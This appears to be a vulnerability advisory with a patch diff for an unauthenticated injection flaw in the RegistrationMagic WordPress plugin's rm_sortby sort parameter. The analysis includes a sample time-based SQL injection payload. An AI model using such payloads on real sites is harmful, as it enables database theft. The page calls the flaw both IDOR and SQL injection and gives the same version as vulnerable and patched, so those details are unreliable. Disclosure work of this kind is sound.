Published : August 7, 2026

CVE-2026-15255: RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login < 6.0.9.4 Unauthenticated Insecure Direct Object Reference PoC, Patch Analysis & Rule

CVE ID CVE-2026-15255
Plugin custom-registration-form-builder-with-submission-manager
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 6.0.9.4
Patched Version 6.0.9.4
Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15255: The RegistrationMagic plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) attack that allows unauthenticated attackers to perform unauthorized actions. The vulnerability exists in all versions prior to 6.0.9.4 and carries a CVSS score of 5.3, classifying it as a medium-severity issue that affects the integrity of the affected forms.

The root cause of this vulnerability lies in the sort and filter functionality exposed through the form management controller. In the file `admin/controllers/class_rm_form_controller.php`, the `$sort_by` parameter is directly retrieved from the user-supplied request data, specifically from `$request->req[‘rm_sortby’]`. This value is then passed, unsanitized, into the database query builder. The patch introduces an allowlist of valid sort columns. The vulnerable code directly assigns `$sort_by = (isset($request->req[‘rm_sortby’])) ? $request->req[‘rm_sortby’] : null;` and passes it to the data layer. The patched code verifies the input against the `$allowed_sort_columns` array, which contains only valid column names like ‘form_name’, ‘created_on’, ‘form_id’, and ‘form_submissions’, before using it. The database manager’s `get_all` function in `includes/class_rm_dbmanager.php` further compounds the issue by constructing the `ORDER BY` clause directly with the unsanitized `$sort_by` value, leading to SQL injection through the sort parameter.

The exploitation of this vulnerability requires no authentication, making it particularly dangerous for unauthenticated attackers. The vulnerable parameter is the `rm_sortby` GET parameter, which is processed by the form management controller. An attacker would craft a request to an accessible page that invokes the `rm_form_manage` page action, such as a WordPress admin AJAX call or a direct request to the form management page. By injecting malicious SQL in the `rm_sortby` parameter, the attacker can manipulate the database query. For example, sending `rm_sortby=(SELECT SLEEP(5))` could cause time-based detection, or more complex payloads could be used to extract sensitive data from the WordPress database.

The patch addresses the vulnerability by implementing a strict allowlist for the `rm_sortby` parameter, effectively neutralizing any attempts to inject malicious SQL. Before the patch, the raw request value was placed directly into the ORDER BY clause. After the patch, the controller checks the request value against the `$allowed_sort_columns` array. If the value is not in the allowlist, it defaults to ‘created_on’. This eliminates the possibility of SQL injection through this parameter. Additionally, the patch hardens the database manager’s `get_all` function to validate that the `$sort_by` parameter is a string containing only valid characters, as shown by the `preg_match(‘/^[A-Za-z0-9_]+$/’, $sort_by)` check, providing a second layer of defense.

If exploited, this vulnerability could lead to unauthorized data modification or leakage. A successful SQL injection attack could allow an attacker to read sensitive information from the WordPress database, including usernames, hashed passwords, and user metadata. The attacker could also potentially modify or delete data, which could disrupt the functionality of the registration forms and compromise the integrity of the site’s data. While the CVSS score is 5.3, the potential for data exfiltration and the fact that no authentication is required make this a serious concern for website administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_form_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_form_controller.php
@@ -35,10 +35,17 @@
             }

             $attach_service = new RM_Attachment_Service();
-            $search_term = isset($request->req['rm_form_search']) ? $request->req['rm_form_search'] : null;
-            $form_filter = isset($request->req['rm_form_filter']) ? $request->req['rm_form_filter'] : null;
-            $sort_by = (isset($request->req['rm_sortby'])) ? $request->req['rm_sortby'] : null;
-            $descending = (isset($request->req['rm_descending']) && absint($request->req['rm_descending']) == 0) ? false : true;
+            $search_term = isset($request->req['rm_form_search']) ? $request->req['rm_form_search'] : null;
+            $form_filter = isset($request->req['rm_form_filter']) ? $request->req['rm_form_filter'] : null;
+            $sort_by = (isset($request->req['rm_sortby'])) ? $request->req['rm_sortby'] : null;
+            $allowed_sort_columns = array(
+                'form_name' => 'form_name',
+                'created_on' => 'created_on',
+                'form_id' => 'form_id',
+                'form_submissions' => 'form_submissions'
+            );
+            $sort_by = isset($allowed_sort_columns[$sort_by]) ? $allowed_sort_columns[$sort_by] : 'created_on';
+            $descending = (isset($request->req['rm_descending']) && absint($request->req['rm_descending']) == 0) ? false : true;
             $req_page = (isset($request->req['rm_reqpage']) && $request->req['rm_reqpage'] > 0) ? $request->req['rm_reqpage'] : 1;
             $url_params = array(
                 'page' => 'rm_form_manage',
@@ -785,4 +792,4 @@
             $view->render($data); */
         }
     }
-}
 No newline at end of file
+}
--- a/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_field_add.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_field_add.php
@@ -47,11 +47,11 @@
 $bg_b = intval(substr($f_icon->bg_color,4,2),16);

 $icon_style = "style="padding:5px;color:#{$f_icon->fg_color};background-color:rgba({$bg_r},{$bg_g},{$bg_b},{$f_icon->bg_alpha});border-radius:{$radius};"";
-$is_icon_selected = !empty($f_icon->codepoint);
-$field_icon_action_label = $is_icon_selected ? RM_UI_Strings::get('LABEL_FIELD_ICON_CHANGE') : RM_UI_Strings::get('LABEL_SELECT');
-$remove_icon_style = $is_icon_selected ? '' : ' style="display:none"';
-$selected_icon_style = $is_icon_selected ? $icon_style : rtrim($icon_style, '"') . 'display:none;"';
-$field_types_array = RM_Utilities::get_field_types(false);
+$is_icon_selected = !empty($f_icon->codepoint);
+$field_icon_action_label = $is_icon_selected ? RM_UI_Strings::get('LABEL_FIELD_ICON_CHANGE') : RM_UI_Strings::get('LABEL_SELECT');
+$remove_icon_style = $is_icon_selected ? '' : ' style="display:none"';
+$selected_icon_style = $is_icon_selected ? $icon_style : rtrim($icon_style, '"') . 'display:none;"';
+$field_types_array = RM_Utilities::get_field_types(false);

 wp_enqueue_style( 'rm_material_icons', RM_BASE_URL . 'admin/css/material-icons.css' );
 echo "<style>#id_show_selected_icon {background-color:rgba(".esc_html("$bg_r,$bg_g,$bg_b,$f_icon->bg_alpha").")}</style>";
@@ -207,7 +207,7 @@
 $form->addElement(new Element_HTML('<div class="rmrow rm_field_settings_group_header rm_icon_sett_collapsed" id="rm_icon_field_settings_header" onclick="rm_toggle_icon_settings()"><a>' . RM_UI_Strings::get('ICON_FIELD_SETTINGS') . '<span class="rm-toggle-settings"></span></a></div>'));
 $form->addElement(new Element_HTML('<div id="rm_icon_field_settings_container" style="display:none">'));
 $form->addElement(new Element_HTML('<div id="rm_icon_setting_container">'));
-$form->addElement(new Element_HTML('<div class="rmrow" id="rm_jqnotice_row_date_type"><div class="rmfield" for="rm_field_value_options_textarea"><label>'.RM_UI_Strings::get('LABEL_FIELD_ICON').'</label></div><div class="rminput" id="rm_field_icon_chosen"><i class="material-icons" '.$selected_icon_style.' id="id_show_selected_icon">'.$f_icon->codepoint.'</i><div class="rm-icon-action"><div class="rm_show_icons" onclick="show_icon_reservoir()"><a>'.$field_icon_action_label.'</a></div> <div class="rm_remove_icon" onclick="rm_remove_icon()"'.$remove_icon_style.'><a>'.RM_UI_Strings::get('LABEL_REMOVE').'</a></div></div></div><div class="rmnote"><div class="rmprenote"></div><div class="rmnotecontent">'.RM_UI_Strings::get('HELP_FIELD_ICON').'</div></div></div>'));
+$form->addElement(new Element_HTML('<div class="rmrow" id="rm_jqnotice_row_date_type"><div class="rmfield" for="rm_field_value_options_textarea"><label>'.RM_UI_Strings::get('LABEL_FIELD_ICON').'</label></div><div class="rminput" id="rm_field_icon_chosen"><i class="material-icons" '.$selected_icon_style.' id="id_show_selected_icon">'.$f_icon->codepoint.'</i><div class="rm-icon-action"><div class="rm_show_icons" onclick="show_icon_reservoir()"><a>'.$field_icon_action_label.'</a></div> <div class="rm_remove_icon" onclick="rm_remove_icon()"'.$remove_icon_style.'><a>'.RM_UI_Strings::get('LABEL_REMOVE').'</a></div></div></div><div class="rmnote"><div class="rmprenote"></div><div class="rmnotecontent">'.RM_UI_Strings::get('HELP_FIELD_ICON').'</div></div></div>'));
 $form->addElement(new Element_Hidden('input_selected_icon_codepoint', $f_icon->codepoint, array('id'=>'id_input_selected_icon')));
 $form->addElement(new Element_Color(RM_UI_Strings::get('LABEL_FIELD_ICON_FG_COLOR'), "icon_fg_color", array("id" => "rm_", "value" => $f_icon->fg_color, "onchange" => "change_icon_fg_color(this)", "longDesc" => RM_UI_Strings::get('HELP_FIELD_ICON_FG_COLOR'))));

@@ -287,7 +287,7 @@
     }
 }
 $non_meta_fields= array('Price','ImageV','Shortcode','MapV','SubCountV','Form_Chart','FormData','Feed','Username','UserPassword','Privacy','WCBilling','WCShipping','WCBillingPhone','Fname','Lname','BInfo','Nickname','SecEmail','Website');
-if(!in_array($data->selected_field, $non_meta_fields) && $data->is_registration_form){
+if(!in_array($data->selected_field, $non_meta_fields)){
     $form->addElement(new Element_HTML("<div id='rm_user_meta_options'>"));
         $form->addElement(new Element_Radio(__('Add Field to WordPress User Profile','custom-registration-form-builder-with-submission-manager').":", "field_user_profile",$meta_options, array("id" => "field_user_profile", "value" =>$data->model->field_options->field_user_profile, "longDesc"=>__('Saves the field value in a profile field in WordPress User Profile using User Meta. You can create new custom fields in the profile by selecting "Define new user meta key". Please note that this feature only works with user registration forms.','custom-registration-form-builder-with-submission-manager'))));
         $display_user_meta_options= $data->model->field_options->field_user_profile=='existing_user_meta' || $data->model->field_options->field_user_profile=='define_new_user_meta' ? '' : 'style="display:none"';
@@ -463,12 +463,12 @@
             }
         }

-        //jQuery('#rm-icon_'+ico_cp).addClass('rm_active_icon');
-        jQuery('#id_show_selected_icon').html('');
-        jQuery('#id_show_selected_icon').hide();
-        jQuery('#id_input_selected_icon').val('');
-        jQuery('.rm_show_icons a').html(rmFieldIconSelectLabel);
-        jQuery('.rm_remove_icon').hide();
+        //jQuery('#rm-icon_'+ico_cp).addClass('rm_active_icon');
+        jQuery('#id_show_selected_icon').html('');
+        jQuery('#id_show_selected_icon').hide();
+        jQuery('#id_input_selected_icon').val('');
+        jQuery('.rm_show_icons a').html(rmFieldIconSelectLabel);
+        jQuery('.rm_remove_icon').hide();
 }

 function rm_select_icon(e){
@@ -486,11 +486,11 @@
                jQuery('#'+oicid).removeClass('rm_active_icon');
             }

-        jQuery('#rm-icon_'+ico_cp).addClass('rm_active_icon');
-        jQuery('#id_show_selected_icon').html('&#x'+ico_cp);
-        jQuery('#id_show_selected_icon').show();
-        jQuery('#id_input_selected_icon').val('&#x'+ico_cp);
-        jQuery('.rm_show_icons a').html(rmFieldIconChangeLabel);
+        jQuery('#rm-icon_'+ico_cp).addClass('rm_active_icon');
+        jQuery('#id_show_selected_icon').html('&#x'+ico_cp);
+        jQuery('#id_show_selected_icon').show();
+        jQuery('#id_input_selected_icon').val('&#x'+ico_cp);
+        jQuery('.rm_show_icons a').html(rmFieldIconChangeLabel);
         jQuery('.rm_remove_icon').show();
         jQuery('#id_rm_field_icon_reservoir').hide();
     }
--- a/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_form_email_templates.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_form_email_templates.php
@@ -1,54 +1,73 @@
-<?php
-if (!defined('WPINC')) {
-    die('Closed');
-}
-if(defined('REGMAGIC_ADDON')) include_once(RM_ADDON_ADMIN_DIR . 'views/template_rm_form_email_templates.php'); else {
-
-wp_enqueue_style( 'rm_material_icons', RM_BASE_URL . 'admin/css/material-icons.css' );
-?>
-<div class="rmagic">
-
-    <!--Dialogue Box Starts-->
-    <div class="rmcontent">
-
-
-        <?php
-        $form = new RM_PFBC_Form("form_sett_email_templates");
-        $form->configure(array(
-            "prevent" => array("bootstrap", "jQuery"),
-            "action" => ""
-        ));
-
-        if (isset($data->model->form_id)) {
-            $form->addElement(new Element_HTML('<div class="rmheader">' . $data->model->form_name . '</div>'));
-            $form->addElement(new Element_HTML('<div class="rmsettingtitle">' . RM_UI_Strings::get('LABEL_F_EMAIL_TEMP_SETT') . '</div>'));
-            $form->addElement(new Element_HTML('<div class="rmrow"><div class="rmnotice">More email configuration settings are available in <a target="_blank" href="admin.php?page=rm_options_autoresponder">Global Settings</a>.</div></div>'));
-            $form->addElement(new Element_Hidden("form_id", $data->model->form_id));
-        }
-
-        $form->addElement(new Element_HTML('<div class="rmrow"><h3>'.__('Notification Templates for User', 'custom-registration-form-builder-with-submission-manager').'</h3></div>'));
-
-        $form->addElement(new Element_Textbox("<b>" . RM_UI_Strings::get('LABEL_NEW_USER_EMAIL_SUB') . "</b>", "form_nu_notification_sub", array("class" => "rm_static_field", "value" =>  $data->model->form_options->form_nu_notification_sub, "longDesc"=>RM_UI_Strings::get('HELP_ADD_FORM_NU_EMAIL_SUB'))));
-        $form->addElement(new Element_TinyMCEWP("<b>" . RM_UI_Strings::get('LABEL_NEW_USER_EMAIL') . "</b>(".__('Mail Merge and HTML Supported', 'custom-registration-form-builder-with-submission-manager')."):", $data->model->get_notification_messages('form_nu_notification'), "form_nu_notification", array('editor_class' => 'rm_TinydMCE', 'editor_height' => '100px'), array("longDesc" => RM_UI_Strings::get('HELP_ADD_FORM_NU_EMAIL_MSG'))));
-
-        $form->addElement(new Element_Textbox("<b>" . RM_UI_Strings::get('LABEL_USER_ACTIVATION_EMAIL_SUB') . "</b>", "form_user_activated_notification_sub", array("class" => "rm_static_field", "value" =>  $data->model->form_options->form_user_activated_notification_sub, "longDesc"=>RM_UI_Strings::get('HELP_ADD_FORM_USER_ACTIVATED_SUB'))));
-        $form->addElement(new Element_TinyMCEWP("<b>" . RM_UI_Strings::get('LABEL_USER_ACTIVATION_EMAIL') . "</b>(".__('Mail Merge and HTML Supported', 'custom-registration-form-builder-with-submission-manager')."):", $data->model->get_notification_messages('form_user_activated_notification'), "form_user_activated_notification", array('editor_class' => 'rm_TinydMCE', 'editor_height' => '100px'), array("longDesc" => RM_UI_Strings::get('HELP_ADD_FORM_USER_ACTIVATED_MSG'))));
-
-        $form->addElement(new Element_Textbox("<b>" . RM_UI_Strings::get('LABEL_USER_PAYMENT_INVOICE_EMAIL_SUB') . "</b>", "form_user_payment_invoice_sub", array("class" => "rm_static_field", "value" =>  $data->model->form_options->form_user_payment_invoice_sub, "longDesc"=>RM_UI_Strings::get('HELP_ADD_FORM_USER_PI_SUB'))));
-        $form->addElement(new Element_TinyMCEWP("<b>" . RM_UI_Strings::get('LABEL_USER_PAYMENT_INVOICE_EMAIL') . "</b>(".__('Mail Merge and HTML Supported', 'custom-registration-form-builder-with-submission-manager')."):", $data->model->get_notification_messages('form_user_payment_invoice'), "form_user_payment_invoice", array('editor_class' => 'rm_TinydMCE', 'editor_height' => '100px'), array("longDesc" => RM_UI_Strings::get('HELP_ADD_FORM_USER_PI_MSG'))));
-
-        $form->addElement(new Element_HTML('<div class="rmrow"><h3>Notification Templates for Admin</h3></div>'));
-
-        //$form->addElement(new Element_TinyMCEWP("<b>" . RM_UI_Strings::get('LABEL_ACTIVATE_USER_EMAIL') . "</b>(Mail Merge and HTML Supported):", $data->model->get_notification_messages('form_activate_user_notification'), "form_activate_user_notification", array('editor_class' => 'rm_TinydMCE', 'editor_height' => '100px'), array("longDesc" => RM_UI_Strings::get('HELP_ADD_FORM_ACTIVATE_USER_MSG'))));
-        $form->addElement(new Element_Textbox("<b>" . RM_UI_Strings::get('LABEL_ADMIN_NEW_SUBMISSION_EMAIL_SUB') . "</b>", "form_admin_ns_notification_sub", array("class" => "rm_static_field", "value" =>  $data->model->form_options->form_admin_ns_notification_sub, "longDesc"=>RM_UI_Strings::get('HELP_ADD_FORM_ADMIN_NS_SUB'))));
-        $form->addElement(new Element_TinyMCEWP("<b>" . RM_UI_Strings::get('LABEL_ADMIN_NEW_SUBMISSION_EMAIL') . "</b>(".__('Mail Merge and HTML Supported', 'custom-registration-form-builder-with-submission-manager')."):", $data->model->get_notification_messages('form_admin_ns_notification'), "form_admin_ns_notification", array('editor_class' => 'rm_TinydMCE', 'editor_height' => '100px'), array("longDesc" => RM_UI_Strings::get('HELP_ADD_FORM_ADMIN_NS_MSG').RM_UI_Strings::get('MSG_BUY_PRO_INLINE'))));
-
-        $form->addElement(new Element_HTMLL('←   '.__('Cancel','custom-registration-form-builder-with-submission-manager'), '?page='.$data->next_page.'&rm_form_id=' . $data->model->form_id, array('class' => 'cancel')));
-        $form->addElement(new Element_Button(RM_UI_Strings::get('LABEL_SAVE'), "submit", array("id" => "rm_submit_btn", "class" => "rm_btn", "name" => "submit", "onClick" => "jQuery.prevent_field_add(event,'".__('This is a required field.','custom-registration-form-builder-with-submission-manager')."')")));
-        $form->render();
-        ?>
-    </div>
-</div>
-
-
-<?php } ?>
+<?php
+if (!defined('WPINC')) {
+    die('Closed');
+}
+if(defined('REGMAGIC_ADDON')) include_once(RM_ADDON_ADMIN_DIR . 'views/template_rm_form_email_templates.php'); else {
+
+wp_enqueue_style( 'rm_material_icons', RM_BASE_URL . 'admin/css/material-icons.css' );
+?>
+<div class="rmagic">
+
+    <!--Dialogue Box Starts-->
+    <div class="rmcontent">
+
+
+        <?php
+        $form = new RM_PFBC_Form("form_sett_email_templates");
+        $form->configure(array(
+            "prevent" => array("bootstrap", "jQuery"),
+            "action" => ""
+        ));
+
+        if (isset($data->model->form_id)) {
+            $form->addElement(new Element_HTML('<div class="rmheader">' . $data->model->form_name . '</div>'));
+            $form->addElement(new Element_HTML('<div class="rmsettingtitle">' . RM_UI_Strings::get('LABEL_F_EMAIL_TEMP_SETT') . '</div>'));
+            $form->addElement(new Element_HTML('<div class="rmrow"><div class="rmnotice">More email configuration settings are available in <a target="_blank" href="admin.php?page=rm_options_autoresponder">Global Settings</a>.</div></div>'));
+            $form->addElement(new Element_Hidden("form_id", $data->model->form_id));
+        }
+
+        $form->addElement(new Element_HTML('<div class="rmrow"><h3>'.__('Notification Templates for User', 'custom-registration-form-builder-with-submission-manager').'</h3></div>'));
+
+        $form->addElement(new Element_Textbox("<b>" . RM_UI_Strings::get('LABEL_NEW_USER_EMAIL_SUB') . "</b>", "form_nu_notification_sub", array("class" => "rm_static_field", "value" =>  $data->model->form_options->form_nu_notification_sub, "longDesc"=>RM_UI_Strings::get('HELP_ADD_FORM_NU_EMAIL_SUB'))));
+        $form->addElement(new Element_TinyMCEWP("<b>" . RM_UI_Strings::get('LABEL_NEW_USER_EMAIL') . "</b>(".__('Mail Merge and HTML Supported', 'custom-registration-form-builder-with-submission-manager')."):", $data->model->get_notification_messages('form_nu_notification'), "form_nu_notification", array('editor_class' => 'rm_TinydMCE', 'editor_height' => '100px'), array("longDesc" => RM_UI_Strings::get('HELP_ADD_FORM_NU_EMAIL_MSG'))));
+
+        $form->addElement(new Element_Textbox("<b>" . RM_UI_Strings::get('LABEL_USER_ACTIVATION_EMAIL_SUB') . "</b>", "form_user_activated_notification_sub", array("class" => "rm_static_field", "value" =>  $data->model->form_options->form_user_activated_notification_sub, "longDesc"=>RM_UI_Strings::get('HELP_ADD_FORM_USER_ACTIVATED_SUB'))));
+        $form->addElement(new Element_TinyMCEWP("<b>" . RM_UI_Strings::get('LABEL_USER_ACTIVATION_EMAIL') . "</b>(".__('Mail Merge and HTML Supported', 'custom-registration-form-builder-with-submission-manager')."):", $data->model->get_notification_messages('form_user_activated_notification'), "form_user_activated_notification", array('editor_class' => 'rm_TinydMCE', 'editor_height' => '100px'), array("longDesc" => RM_UI_Strings::get('HELP_ADD_FORM_USER_ACTIVATED_MSG'))));
+
+        $form->addElement(new Element_Textbox("<b>" . RM_UI_Strings::get('LABEL_USER_PAYMENT_INVOICE_EMAIL_SUB') . "</b>", "form_user_payment_invoice_sub", array("class" => "rm_static_field", "value" =>  $data->model->form_options->form_user_payment_invoice_sub, "longDesc"=>RM_UI_Strings::get('HELP_ADD_FORM_USER_PI_SUB'))));
+        $form->addElement(new Element_TinyMCEWP("<b>" . RM_UI_Strings::get('LABEL_USER_PAYMENT_INVOICE_EMAIL') . "</b>(".__('Mail Merge and HTML Supported', 'custom-registration-form-builder-with-submission-manager')."):", $data->model->get_notification_messages('form_user_payment_invoice'), "form_user_payment_invoice", array('editor_class' => 'rm_TinydMCE', 'editor_height' => '100px'), array("longDesc" => RM_UI_Strings::get('HELP_ADD_FORM_USER_PI_MSG'))));
+
+        $form->addElement(new Element_HTML('<div class="rmrow"><h3>Notification Templates for Admin</h3></div>'));
+
+        //$form->addElement(new Element_TinyMCEWP("<b>" . RM_UI_Strings::get('LABEL_ACTIVATE_USER_EMAIL') . "</b>(Mail Merge and HTML Supported):", $data->model->get_notification_messages('form_activate_user_notification'), "form_activate_user_notification", array('editor_class' => 'rm_TinydMCE', 'editor_height' => '100px'), array("longDesc" => RM_UI_Strings::get('HELP_ADD_FORM_ACTIVATE_USER_MSG'))));
+        $admin_ns_subject_field_service = new RM_Editor_Actions_Service();
+        $admin_ns_subject_fields = $admin_ns_subject_field_service->add_email($data->model->form_id);
+        $admin_ns_subject_field_select = '';
+        if (!empty($admin_ns_subject_fields)) {
+            $admin_ns_subject_field_options = '<option value="0">' . esc_html(RM_UI_Strings::get("LABEL_ADD_EMAIL")) . '</option>';
+            foreach ($admin_ns_subject_fields as $admin_ns_subject_field) {
+                $admin_ns_subject_field_value = $admin_ns_subject_field->field_type . '_' . $admin_ns_subject_field->field_id;
+                $admin_ns_subject_field_type = strtolower($admin_ns_subject_field->field_type);
+                if ($admin_ns_subject_field_type == 'username') {
+                    $admin_ns_subject_field_value = 'Username';
+                } else if ($admin_ns_subject_field_type == 'userpassword') {
+                    $admin_ns_subject_field_value = 'UserPassword';
+                }
+                $admin_ns_subject_field_options .= '<option value="' . esc_attr($admin_ns_subject_field_value) . '">' . esc_html($admin_ns_subject_field->field_label) . '</option>';
+            }
+            $admin_ns_subject_field_select = '<select id="rm_editor_add_admin_ns_email_subject">' . $admin_ns_subject_field_options . '</select>';
+        }
+        $form->addElement(new Element_HTML(
+            '<div class="rmrow"><div class="rmfield" for="form_admin_ns_notification_sub"><label><b>' . RM_UI_Strings::get('LABEL_ADMIN_NEW_SUBMISSION_EMAIL_SUB') . '</b></label></div><div class="rminput"><div class="rm-notification-sb-wrap"><input type="text" name="form_admin_ns_notification_sub" id="form_admin_ns_notification_sub" class="rm_static_field" value="' . esc_attr($data->model->form_options->form_admin_ns_notification_sub) . '">' . $admin_ns_subject_field_select . '</div></div><div class="rmnote"><div class="rmprenote"></div><div class="rmnotecontent">' . RM_UI_Strings::get('HELP_ADD_FORM_ADMIN_NS_SUB') . '</div></div></div>'
+        ));
+        $form->addElement(new Element_TinyMCEWP("<b>" . RM_UI_Strings::get('LABEL_ADMIN_NEW_SUBMISSION_EMAIL') . "</b>(".__('Mail Merge and HTML Supported', 'custom-registration-form-builder-with-submission-manager')."):", $data->model->get_notification_messages('form_admin_ns_notification'), "form_admin_ns_notification", array('editor_class' => 'rm_TinydMCE', 'editor_height' => '100px'), array("longDesc" => RM_UI_Strings::get('HELP_ADD_FORM_ADMIN_NS_MSG').RM_UI_Strings::get('MSG_BUY_PRO_INLINE'))));
+
+        $form->addElement(new Element_HTMLL('←   '.__('Cancel','custom-registration-form-builder-with-submission-manager'), '?page='.$data->next_page.'&rm_form_id=' . $data->model->form_id, array('class' => 'cancel')));
+        $form->addElement(new Element_Button(RM_UI_Strings::get('LABEL_SAVE'), "submit", array("id" => "rm_submit_btn", "class" => "rm_btn", "name" => "submit", "onClick" => "jQuery.prevent_field_add(event,'".__('This is a required field.','custom-registration-form-builder-with-submission-manager')."')")));
+        $form->render();
+        ?>
+    </div>
+</div>
+
+
+<?php } ?>
--- a/custom-registration-form-builder-with-submission-manager/external/PFBC/Element/Terms.php
+++ b/custom-registration-form-builder-with-submission-manager/external/PFBC/Element/Terms.php
@@ -48,10 +48,8 @@
              $cb_label = '';

        $scroll = '';
-       $disabled = '';
        if($this->required_scroll==1){
            $scroll = "scroll_down_end(this);";
-           $disabled='disabled';
        }

        $checked = '';
@@ -59,7 +57,7 @@
             $checked = "checked";

        if(isset($this->_attributes["check_above_tc"]) && $this->_attributes["check_above_tc"] == 1)
-           echo "<div class='rm_terms_checkbox'><input ",esc_attr($checked)," ",esc_attr($disabled)," value='on' type='checkbox'", wp_kses_post((string)$this->getAttributes(array("default_value", "value"))),  " class='rm_check_box'>".wp_kses_post((string)$cb_label)."</div>";
+           $this->render_checkbox($checked, $cb_label);

        echo "<div id='rm_terms_textarea' class='rm_terms_textarea'><textarea ", wp_kses_post((string)$style) ," onscroll='",esc_js($scroll),"' readonly  id='rm_terms_area_", esc_attr($this->_attributes['name']), "' class='rm_terms_area'>";

@@ -68,9 +66,47 @@
        echo "</textarea></div>";

        if(!isset($this->_attributes["check_above_tc"]) || $this->_attributes["check_above_tc"] == 0)
-           echo "<div class='rm_terms_checkbox'><input ",esc_attr($checked)," ",esc_attr($disabled)," value='on' type='checkbox'", wp_kses_post((string)$this->getAttributes(array("default_value", "value"))),  " class='rm_check_box'>".wp_kses_post((string)$cb_label)."</div>";
+           $this->render_checkbox($checked, $cb_label);
    }

+    protected function render_checkbox($checked, $cb_label)
+    {
+        $classes = 'rm_check_box';
+        if ($this->required_scroll == 1) {
+            $classes .= ' rm_terms_scroll_required';
+        }
+        if (!empty($this->_attributes['class'])) {
+            $classes .= ' ' . $this->_attributes['class'];
+        }
+
+        $scroll_attrs = '';
+        if ($this->required_scroll == 1) {
+            $scroll_complete = $checked === 'checked' ? '1' : '0';
+            $aria_disabled = $checked === 'checked' ? 'false' : 'true';
+            $scroll_attrs = " data-rm-terms-scroll-required='1' data-rm-terms-scroll-complete='" . esc_attr($scroll_complete) . "' aria-disabled='" . esc_attr($aria_disabled) . "'";
+        }
+
+        echo "<div class='rm_terms_checkbox'><input ", esc_attr($checked), " value='on' type='checkbox'", wp_kses_post((string)$this->getAttributes(array("default_value", "value", "class"))), " class='", esc_attr($classes), "'", wp_kses_post((string)$scroll_attrs), ">".wp_kses_post((string)$cb_label)."</div>";
+    }
+
+    public function isValid($value, $form_id)
+    {
+        if ($this->is_terms_required() && $value !== 'on') {
+            $element = !empty($this->label) ? $this->label : $this->_attributes["name"];
+            if(substr($element, -1) == ":")
+                $element = substr($element, 0, -1);
+            $this->_errors[] = " <b>'" . $element . "'</b> " . RM_UI_Strings::get("ERROR_REQUIRED");
+            return false;
+        }
+
+        return parent::isValid($value, $form_id);
+    }
+
+    protected function is_terms_required()
+    {
+        return $this->isRequired() || array_key_exists('required', $this->_attributes);
+    }
+

     public function getAttributes($ignore = "") {

--- a/custom-registration-form-builder-with-submission-manager/includes/class_rm_dbmanager.php
+++ b/custom-registration-form-builder-with-submission-manager/includes/class_rm_dbmanager.php
@@ -1202,16 +1202,17 @@
             __FUNCTION__ . " needs the second argument to be an array or 1,'" . gettype($where) . "'is passed.");
         }

-        if ($descending === false) {
-            if (!$limit)
-                $qry .= "ORDER BY `$sort_by`";
-            else
-                $qry .= "ORDER BY `$sort_by` LIMIT $limit OFFSET $offset";
-        } else {
-            if (!$limit)
-                $qry .= "ORDER BY `$sort_by` DESC";
-            else
-                $qry .= "ORDER BY `$sort_by` DESC LIMIT $limit OFFSET $offset";
+        $sort_by = is_string($sort_by) ? trim($sort_by) : '';
+        $limit = absint($limit);
+        $offset = absint($offset);
+        if ($sort_by !== '' && preg_match('/^[A-Za-z0-9_]+$/', $sort_by)) {
+            $qry .= " ORDER BY `$sort_by`";
+            if ($descending !== false)
+                $qry .= " DESC";
+        }
+
+        if ($limit) {
+            $qry .= " LIMIT $limit OFFSET $offset";
         }

         if ($result_type === 'results' || $result_type === 'row' || $result_type === 'var' || $result_type === 'col') {
@@ -1720,13 +1721,17 @@
         return $wpdb->query($qry);
     }

-    public static function update_last_activity() {
+    public static function update_last_activity($otp_code = null) {

         global $wpdb;

         $table_name = RM_Table_Tech::get_table_name_for('FRONT_USERS');

-        return $wpdb->query("UPDATE $table_name set `last_activity_time`= '" . RM_Utilities::get_current_time() . "'");
+        if (!empty($otp_code)) {
+            return $wpdb->query($wpdb->prepare("UPDATE $table_name set `last_activity_time`= %s WHERE `otp_code` = %s", RM_Utilities::get_current_time(), $otp_code));
+        }
+
+        return $wpdb->query($wpdb->prepare("UPDATE $table_name set `last_activity_time`= %s", RM_Utilities::get_current_time()));
     }

     public static function delete_rows($model_identifier, $where, $where_format = null) {
@@ -3212,4 +3217,4 @@

         return $wpdb->get_results($qry);
     }
-}
 No newline at end of file
+}
--- a/custom-registration-form-builder-with-submission-manager/libs/factory/class_rm_field_factory_revamp.php
+++ b/custom-registration-form-builder-with-submission-manager/libs/factory/class_rm_field_factory_revamp.php
@@ -1798,9 +1798,13 @@
         if (isset($field->field_options->field_css_class)){
             $attributes['class'] .= " ".$field->field_options->field_css_class;
         }
-        if (isset($field->field_options->field_is_required_scroll) && $field->field_options->field_is_required_scroll == 1){
-            $attributes['disabled'] = "disabled";
-        }
+        $requires_scroll = isset($field->field_options->field_is_required_scroll) && $field->field_options->field_is_required_scroll == 1;
+        if ($requires_scroll) {
+            $attributes['class'] .= ' rm_terms_scroll_required';
+            $attributes['data-rm-terms-scroll-required'] = '1';
+            $attributes['data-rm-terms-scroll-complete'] = '0';
+            $attributes['aria-disabled'] = 'true';
+        }
         $meta_value = "";
         if(isset($old_value)) {
             $meta_value = $old_value;
@@ -1812,9 +1816,13 @@
                 $meta_value = get_user_meta(get_current_user_id(), $field->field_options->field_meta_add, true);
             }
         }
-        if($meta_value == $attributes['value']) {
-            $attributes['checked'] = 'checked';
-        }
+        if($meta_value == $attributes['value']) {
+            $attributes['checked'] = 'checked';
+            if ($requires_scroll) {
+                $attributes['data-rm-terms-scroll-complete'] = '1';
+                $attributes['aria-disabled'] = 'false';
+            }
+        }

         $text = $field->field_label;
         $check_box_label = $field->field_options->tnc_cb_label;
@@ -1848,15 +1856,15 @@
             echo "<input " . $this->print_attributes($attributes) . " >";

             echo "<label for='$input_id' id='$label_id' class='rmform-label'> $check_box_label </label>";
-            echo "</div>";
-
